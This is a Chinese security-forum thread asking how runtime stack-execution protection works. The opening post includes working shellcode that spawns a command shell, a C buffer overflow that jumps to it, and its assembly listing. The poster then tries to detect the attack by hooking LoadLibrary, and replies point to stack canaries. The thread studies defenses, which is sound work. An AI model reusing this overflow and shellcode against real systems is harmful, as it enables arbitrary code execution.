发新话题
打印

[讨论]堆栈保护具体是如何实现的?

[讨论]堆栈保护具体是如何实现的?

议题提交:nickchang
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

一种防止缓冲区溢出的方法是使用堆栈保护,就是阻止代码在堆栈里面执行。
看书上说,可以这样实现,当某个程序启动时,hook到createprocess函数,然后得到返回地址,判断一下是不是在栈里面就可以了,但是就这么两句,说得很不详细,于是,想写个程序试一下:

这个是一个把shellcode放在栈里面执行的程序
复制内容到剪贴板
代码:
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x6D\xC6\x45\xF5\x73"
"\xC6\x45\xF6\x76\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74"
"\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C"
"\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
"\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
"\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xC2\x77\xFF\xD0";

void test()
{
   
   char buf[126];
   char* j;
   int i;
   for(i=0;i<132;i++) buf[i]=0x90;   //为了到达返回地址
   buf[132]=0xd4;        //本机上的数组a 的地址
   buf[133]=0xf5;
   buf[134]=0x12;
   buf[135]=0x00;

}

void CMFCBofDlg::OnOK()
{
   char a[200];
   int i;
   for(i=0;i<125;i++) a[i]=shellcode[i];//shellcode注入数组a
   a[125]=&#39;\0&#39;;
   test();
}
这样,test返回的时候,缓冲区回溢出,覆盖返回地址为0x0012f5d4跳转到数组a上面,执行shellcode,这个shellcode 的功能是开一个cmd窗口。

这段shellcode的汇编代码如下:
复制内容到剪贴板
代码:
_asm{
      
      push ebp;
      mov ebp,esp;
      xor eax,eax;
      push eax;
      push eax;
      push eax;
      mov byte ptr[ebp-0ch], 6dh;   m
      mov byte ptr[ebp-0bh], 73h;   s
      mov byte ptr[ebp-0ah], 76h;   v
      mov byte ptr[ebp-09h], 63h;   c
      mov byte ptr[ebp-08h], 72h;   r
      mov byte ptr[ebp-07h], 74h;   t
      mov byte ptr[ebp-06h], 2eh;   .
      mov byte ptr[ebp-05h], 64h;   d
      mov byte ptr[ebp-04h], 6ch;   l
      mov byte ptr[ebp-03h], 6ch;   l
      lea eax, [ebp-0ch];
      push eax;
      mov eax, 0x7c801d77;   //调用LoadLibrary
      call eax;


      mov esp,ebp;
      push ebp;
      mov ebp,esp;
      xor edi,edi;
      push edi;
      sub esp,08h;
      mov byte ptr[ebp-0ch],63h;   c
      mov byte ptr[ebp-0bh],6fh;   o
      mov byte ptr[ebp-0ah],6dh;   m
      mov byte ptr[ebp-09h],6dh;   m
      mov byte ptr[ebp-08h],61h;   a
      mov byte ptr[ebp-07h],6eh;   n
      mov byte ptr[ebp-06h],64h;   d
      mov byte ptr[ebp-05h],2eh;   .
      mov byte ptr[ebp-04h],63h;   c
      mov byte ptr[ebp-03h],6fh;   o
      mov byte ptr[ebp-02h],6dh;   m
      lea eax, [ebp-0ch];
      push eax;
      mov eax, 0x77c293c7;   //调用system
      call eax;
   }
如果用hook api每次hook到LoadLibrary然后用GetThreadContext得到寄存器信息判断该代码是不是在堆栈里应该可以吧?

hook api 如下:
复制内容到剪贴板
代码:
SDLLHook ProcessHook =
{
   "Kernel32.DLL",
   false, NULL,      // Default hook disabled, NULL function pointer.
   {
   {"GetProcAddress", myGetProcAddress},
   {"LoadLibraryW", MyLoadLibraryW},
   {"LoadLibraryA", MyLoadLibraryA},,
   {NULL,NULL}
   }
};
其他省略,就是用我自己定义的函数代替系统函数。

结果发现没有hook到,想一下才知道hook api是根据api函数的名称调换的,但是在上面的shellcode例子里面,是用地址调用函数的,所以当然是没有hook到。
mov eax, 0x7c801d77;   //调用LoadLibrary,是一个地址

请问遇到这种办法应该怎么处理?还有,有没有别的好办法判断代码是否在堆栈里执行?谢谢!

TOP

堆栈保护是一种提供程序指针完整性检查的编译器技术,通过检查函数活动纪录中的返回地址来实现。堆栈保护作为gcc的一个小的补丁,在每个函数中,加入了函数建立和销毁的代码。加入的函数建立代码实际上在堆栈中函数返回地址后面加了一些附加的字节。而在函数返回时,首先检查这个附加的字节是否被改动过。如果发生过缓冲区溢出的攻击,那么这种攻击很容易在函数返回前被检测到。

至于具体是再们运行的你可以看下安全焦点的{介绍Propolice怎样保护stack-smashing的攻击} url : http://www.xfocus.net/articles/200103/78.html  在给你几个连接:

http://www.tcpip.com.cn/article/ ... mp;start=40&s=0

http://www.xfocus.net/projects/Xcon/2004/Xcon2004_flashsky.pdf
http://iittss.com/ kijs与牛人在一起不是有理由的让自己变懒,那是为了让视野更开阔

TOP

有没有别的好办法判断代码是否在堆栈里执行
http://www.i170.com/user/kijs/Article_16892
http://iittss.com/ kijs与牛人在一起不是有理由的让自己变懒,那是为了让视野更开阔

TOP

谢谢无双坏坏大哥,但是我的意思是不用编译的时候加上canary位的方法保护堆栈,而是仅仅在运行时在windows NT下判断某个程序的返回地址是否在栈里,或者Epi在栈里。主要是想知道那些禁止堆栈执行的工具是如何工作的,理论上怎样还是比较清楚地,但是自己hook API的时候就有这个问题了,shell code是根据函数得地址调用函数的,而hook api是根据函数的名称,所以就产生这个问题了,hook不到shell code里面的调用,我hook api掌握的不好,得再好好看看windows 核心编程 :-)

TOP

http://iittss.com/ kijs与牛人在一起不是有理由的让自己变懒,那是为了让视野更开阔

TOP

http://iittss.com/ kijs与牛人在一起不是有理由的让自己变懒,那是为了让视野更开阔

TOP

发新话题